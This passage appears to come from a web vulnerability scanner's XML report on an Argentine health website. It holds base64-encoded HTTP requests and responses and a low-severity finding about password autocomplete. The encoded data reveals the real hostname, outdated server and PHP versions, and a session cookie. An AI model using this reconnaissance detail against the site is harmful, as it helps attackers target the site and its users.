IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2MCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjAiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjE1LzAzLzIwMTI8L3NwYW4+PGJyPkZBTExPIERFIExBIENPUlRFIFNVUFJFTUEgU09CUkUgTEEgTk8gSlVESUNJQUxJWkFDSU9OIERFTCBBQk9SVE8gRU4gQ0FTT1MgREUgVklPTEFDSU9OPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxiciAvPiBKVVJJU0RJQ0NJT046IE5BQ0lPTkFMPGJyIC8+IE1BVEVSSUE6IEFCT1JUTy48YnIgLz4gVFJJQlVOQUw6IENvcnRlIFN1cHJlbWEgZGUgSnVzdGljaWEgZGUgbGEgTmFjaSZvYWN1dGU7bi48YnIgLz4gQVVUT1M6IEYuLCBBLiBMLiBzLyBtZWRpZGEgYXV0b3NhdGlzZmFjdGl2YS48YnIgLz4gRkVDSEE6IDEzLzAzLzIwMTIuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI1OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNTkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBGSU4gbm90YSBjb211biAtLT4KPC90YWJsZT4KPG1hcCBuYW1lPSJNYXBNYXAiIGlkPSJNYXBNYXAiPjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjE0NCw0LDIxNCwzNiIgaHJlZj0iaW5kZXgucGhwP2lkPTE0IiAvPgo8L21hcD4KPG1hcCBuYW1lPSJNYXAyTWFwMiIgaWQ9Ik1hcDJNYXAyIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIxNDcsNCwyMjAsMzYiIGhyZWY9ImluZGV4LnBocD9pZD0xNGEiIC8+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcDMiIGlkPSJNYXAzIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIzNjMsMyw0MzYsMzkiIGhyZWY9ImluZGV4LnBocD9pZD0xNGIiIC8+CjwvbWFwPgo8L2h0bWw+CjwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gICAgICAgICAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFM0UzRTMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNiUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9kZWNpbG9fYmllbl9mdWVydGUxLmpwZyIgd2lkdGg9IjEyMCIgaGVpZ2h0PSIxMTIiPjwvdGQ+CiAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiA+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTI0IiBjbGFzcz0iYm90b24xIj5bK10gTSZhYWN1dGU7cyBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0UzRTNFMyI+ICAgICAgICA8L3RyPgogICAgICAgIDx0cj4gCiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj4mbmJzcDs8L3RkPgogICAgICAgIDwvdHI+CiAgICA8L3RhYmxlPjwvdGQ+CiAgPC90cj4KICA8dHI+IAogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSI+PGltZyBzcmM9ImltZy9penExLmpwZyIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjExNCIgLz48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9RdWllbmVzU29tb3NfQTJfMF8yNS5qcGciIHdpZHRoPSI4MDkiIGhlaWdodD0iMTE0IiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcDIiIC8+PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI1MCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzE4XzE4LmpwZyI+Jm5ic3A7PC90ZD4KICAgIDx0ZCBoZWlnaHQ9IjUwIiBjbGFzcz0iZm9uZG9ib3R0b20iPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2l0ZWkuY29tLmFyLyI+PGltZyBzcmM9ImltZy9laV9jb2xvci5wbmciIGFsdD0iZXNwYWNpb3MgZGUgaW1hZ2luYWNpb24sIGRlc2Fycm9sbG9zIGludGVyYWN0aXZvcywgY3JlYXRpdmlkYWQsIGRpc2XxbyIgd2lkdGg9IjI3IiBoZWlnaHQ9IjE1IiBib3JkZXI9IjAiPjwvYT4gPHNwYW4gY2xhc3M9ImVpIj48YSBocmVmPSJodHRwOi8vd3d3LnNpdGVpLmNvbS5hci8iIHNwYW4gY2xhc3M9ImVpIj5kaXNlJm50aWxkZTtvICsgY29tdW5pY2FjaSZvYWN1dGU7bjwvYT48L3NwYW4+PGVtPiZuYnNwOzwvZW0+PC9zcGFuPjxzcGFuIGNsYXNzPSJibGFuY28xIj48ZW0+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9lbT48L3NwYW4+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgoKCjxtYXAgbmFtZT0iTWFwMiI+PGFyZWEgc2hhcGU9InJlY3QiIGNvb3Jkcz0iMjQ3LDY5LDQxNCw4MiIgaHJlZj0ibWFpbHRvOnNhbHVkYWN0aXZhQHNhbHVkYWN0aXZvLm9yZy5hciI+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcCI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM2LDE0MiwxNDksMTUyIiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MiI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM0LDE4NiwxNTAsMTk2IiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MCI+CjwvbWFwPgo8L2JvZHk+CjwvaHRtbD4K]]></response>
60 <responseRedirected>false</responseRedirected>
61 </requestresponse>
62 </issue>
63 <issue>
64 <serialNumber>3831322476981454848</serialNumber>
65 <type>5244928</type>
66 <name>Password field with autocomplete enabled</name>
67 <host ip="200.20.20.201">http://www.example.org.ar</host>
68 <path><![CDATA[/]]></path>
69 <location><![CDATA[/]]></location>
70 <severity>Low</severity>
71 <confidence>Certain</confidence>
72 <issueBackground><![CDATA[Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.<br><br>The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks. ]]></issueBackground>
73 <remediationBackground><![CDATA[To prevent browsers from storing credentials entered into HTML forms, you should include the attribute <b>autocomplete="off"</b> within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).]]></remediationBackground>
74 <issueDetail><![CDATA[The page contains a form with the following action URL:<ul><li>http://www.example.org.ar/login.php</li></ul>The form contains the following password field with autocomplete enabled:<ul><li>pass</li></ul>]]></issueDetail>
75 <requestresponse>
76 <request base64="true"><![CDATA[R0VUIC8gSFRUUC8xLjENCkhvc3Q6IHd3dy5zYWx1ZGFjdGl2YS5vcmcuYXINClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwLjg7IHJ2OjIzLjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMjMuMA0KQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgNCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo=]]></request>
77 <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA3IE5vdiAyMDEzIDE3OjEyOjAyIEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIzIChVbml4KSBtb2Rfc3NsLzIuMi4yMyBPcGVuU1NMLzAuOS44ZS1maXBzLXJoZWw1DQpYLVBvd2VyZWQtQnk6IFBIUC81LjIuMTcNCkV4cGlyZXM6IFRodSwgMTkgTm92IDE5ODEgMDg6NTI6MDAgR01UDQpDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MA0KUHJhZ21hOiBuby1jYWNoZQ0KU2V0LUNvb2tpZTogUEhQU0VTU0lEPTk0NTg1YWEwYzExY2YyZTg2NGQ4M2UyNDY3OGI5ODY1OyBwYXRoPS8NCktlZXAtQWxpdmU6IHRpbWVvdXQ9MjAsIG1heD0yMDANCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sDQpDb250ZW50LUxlbmd0aDogNjA2MDYNCg0KIDxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIiAvPgo8dGl0bGU+U2FsdWQgQWN0aXZhIC0gQWJ1c28gdmlvbGVuY2lhIHkgbWFsdHJhdG88L3RpdGxlPgoKPHNjcmlwdD4gCiAgICAvL2VzdG8gcGFyYSBwYXNhcmxlIGFsIGZsYXNoIGxhcyB2YXJpYWxiZXMgZGVsIHBocAogCQoKCXZhciBib3Q9Jyc7Ci8vYWxlcnQodmFyaWFibGVTZXJ2aWRvcik7Cjwvc2NyaXB0Pgo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0IiB0eXBlPSJ0ZXh0L0phdmFTY3JpcHQiPgo8IS0tCmZ1bmN0aW9uIE1NX3ByZWxvYWRJbWFnZXMoKSB7IC8vdjMuMAogIHZhciBkPWRvY3VtZW50OyBpZihkLmltYWdlcyl7IGlmKCFkLk1NX3ApIGQuTU1fcD1uZXcgQXJyYXkoKTsKICAgIHZhciBpLGo9ZC5NTV9wLmxlbmd0aCxhPU1NX3ByZWxvYWRJbWFnZXMuYXJndW1lbnRzOyBmb3IoaT0wOyBpPGEubGVuZ3RoOyBpKyspCiAgICBpZiAoYVtpXS5pbmRleE9mKCIjIikhPTApeyBkLk1NX3Bbal09bmV3IEltYWdlOyBkLk1NX3BbaisrXS5zcmM9YVtpXTt9fQp9Ci8vLS0+Cjwvc2NyaXB0Pgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KCjwvaGVhZD4KCjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiIHR5cGU9InRleHQvSmF2YVNjcmlwdCI+CjwhLS0KZnVuY3Rpb24gTU1fcmVsb2FkUGFnZShpbml0KSB7ICAvL3JlbG9hZHMgdGhlIHdpbmRvdyBpZiBOYXY0IHJlc2l6ZWQKICBpZiAoaW5pdD09dHJ1ZSkgd2l0aCAobmF2aWdhdG9yKSB7aWYgKChhcHBOYW1lPT0iTmV0c2NhcGUiKSYmKHBhcnNlSW50KGFwcFZlcnNpb24pPT00KSkgewogICAgZG9jdW1lbnQuTU1fcGdXPWlubmVyV2lkdGg7IGRvY3VtZW50Lk1NX3BnSD1pbm5lckhlaWdodDsgb25yZXNpemU9TU1fcmVsb2FkUGFnZTsgfX0KICBlbHNlIGlmIChpbm5lcldpZHRoIT1kb2N1bWVudC5NTV9wZ1cgfHwgaW5uZXJIZWlnaHQhPWRvY3VtZW50Lk1NX3BnSCkgbG9jYXRpb24ucmVsb2FkKCk7Cn0KTU1fcmVsb2FkUGFnZSh0cnVlKTsKLy8tLT4KCjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKCjwvaGVhZD4KCjxib2R5IGJhY2tncm91bmQ9ImltZy9mb25kb19kZWdyYWRlLmpwZyIgdG9wbWFyZ2luPSIwIj4KPHRhYmxlIHdpZHRoPSIxMDA1IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgPHRyPiAKICAgIDx0ZCB3aWR0aD0iOTYiPjxpbWcgc3JjPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzBfMDEuanBnIiB3aWR0aD0iOTYiIGhlaWdodD0iMjA4IiAvPjwvdGQ+CiAgICA8dGQgd2lkdGg9IjgwOSI+IDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KQUNfRkxfUnVuQ29udGVudCggJ2NvZGViYXNlJywnaHR0cDovL2Rvd25sb2FkLm1hY3JvbWVkaWEuY29tL3B1Yi9zaG9ja3dhdmUvY2Ficy9mbGFzaC9zd2ZsYXNoLmNhYiN2ZXJzaW9uPTcsMCwxOSwwJywnd2lkdGgnLCc4MDknLCdoZWlnaHQnLCcyMDgnLCdzcmMnLCdzd2YvaGVhZGVyJywncXVhbGl0eScsJ2hpZ2gnLCdwbHVnaW5zcGFnZScsJ2h0dHA6Ly93d3cubWFjcm9tZWRpYS5jb20vZ28vZ2V0Zmxhc2hwbGF5ZXInLCdtb3ZpZScsJ3N3Zi9oZWFkZXInICk7IC8vZW5kIEFDIGNvZGUKPC9zY3JpcHQ+IDxub3NjcmlwdD4KICAgICAgPG9iamVjdCBjbGFzc2lkPSJjbHNpZDpEMjdDREI2RS1BRTZELTExY2YtOTZCOC00NDQ1NTM1NDAwMDAiIGNvZGViYXNlPSJodHRwOi8vZG93bmxvYWQubWFjcm9tZWRpYS5jb20vcHViL3Nob2Nrd2F2ZS9jYWJzL2ZsYXNoL3N3Zmxhc2guY2FiI3ZlcnNpb249NywwLDE5LDAiIHdpZHRoPSI4MDkiIGhlaWdodD0iMjA4Ij4KICAgICAgICA8cGFyYW0gbmFtZT0ibW92aWUiIHZhbHVlPSJzd2YvaGVhZGVyLnN3ZiIgLz4KICAgICAgICA8cGFyYW0gbmFtZT0icXVhbGl0eSIgdmFsdWU9ImhpZ2giIC8+CiAgICAgICAgPGVtYmVkIHNyYz0ic3dmL2hlYWRlci5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9IjgwOSIgaGVpZ2h0PSIyMDgiPjwvZW1iZWQ+IAogICAgICA8L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIHdpZHRoPSIxMiUiIHJvd3NwYW49IjUiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzAwMDAwMCI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI0NjEiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaW1nL1F1aWVuZXNTb21vc19BMl8wXzEzLmpwZyI+IAogICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CkFDX0ZMX1J1bkNvbnRlbnQoICdjb2RlYmFzZScsJ2h0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCcsJ3dpZHRoJywnOTYnLCdoZWlnaHQnLCc0NjEnLCdzcmMnLCdzd2Yvc3VibWVudScsJ3F1YWxpdHknLCdoaWdoJywncGx1Z2luc3BhZ2UnLCdodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyJywnbW92aWUnLCdzd2Yvc3VibWVudScgKTsgLy9lbmQgQUMgY29kZQo8L3NjcmlwdD4gPG5vc2NyaXB0PgogICAgICA8b2JqZWN0IGNsYXNzaWQ9ImNsc2lkOkQyN0NEQjZFLUFFNkQtMTFjZi05NkI4LTQ0NDU1MzU0MDAwMCIgY29kZWJhc2U9Imh0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+CiAgICAgICAgPHBhcmFtIG5hbWU9Im1vdmllIiB2YWx1ZT0ic3dmL3N1Ym1lbnUuc3dmIiAvPgogICAgICAgIDxwYXJhbSBuYW1lPSJxdWFsaXR5IiB2YWx1ZT0iaGlnaCIgLz4KICAgICAgICA8ZW1iZWQgc3JjPSJzd2Yvc3VibWVudS5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+PC9lbWJlZD48L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgYmdjb2xvcj0iI0ZGRkZGRiI+CiAgICAgICAgPHRyPiAKICAgICAgICAgIDx0ZCB3aWR0aD0iMTciIHJvd3NwYW49IjciPjxwPiZuYnNwOzwvcD48L3RkPgogICAgICAgICAgPHRkIHdpZHRoPSIxNzIiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxpbWcgc3JjPSJpbWcvM3B4LmpwZyIgd2lkdGg9IjUiIGhlaWdodD0iNSI+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciI+PGxpbmsgaHJlZj0iLi4vZXN0aWxvcy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIC8+Cjxib2R5IGJnY29sb3I9IiNDQ0NDQ0MiIHRvcG1hcmdpbj0iNiBweCI+PHRhYmxlIHdpZHRoPSIxNjUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIzIiBiZ2NvbG9yPSIjRkZGRkZGIj4KPHRyPgogICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTkxIiBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiAgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MThfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+SG9tZTwvYT48L3RkPgogIDwvdHI+Cjx0cj4KICA8dGQgaGVpZ2h0PSIyOCIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj4mbmJzcDsmbmJzcDtOb3RpY2lhczwvYT48L3RkPgo8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGh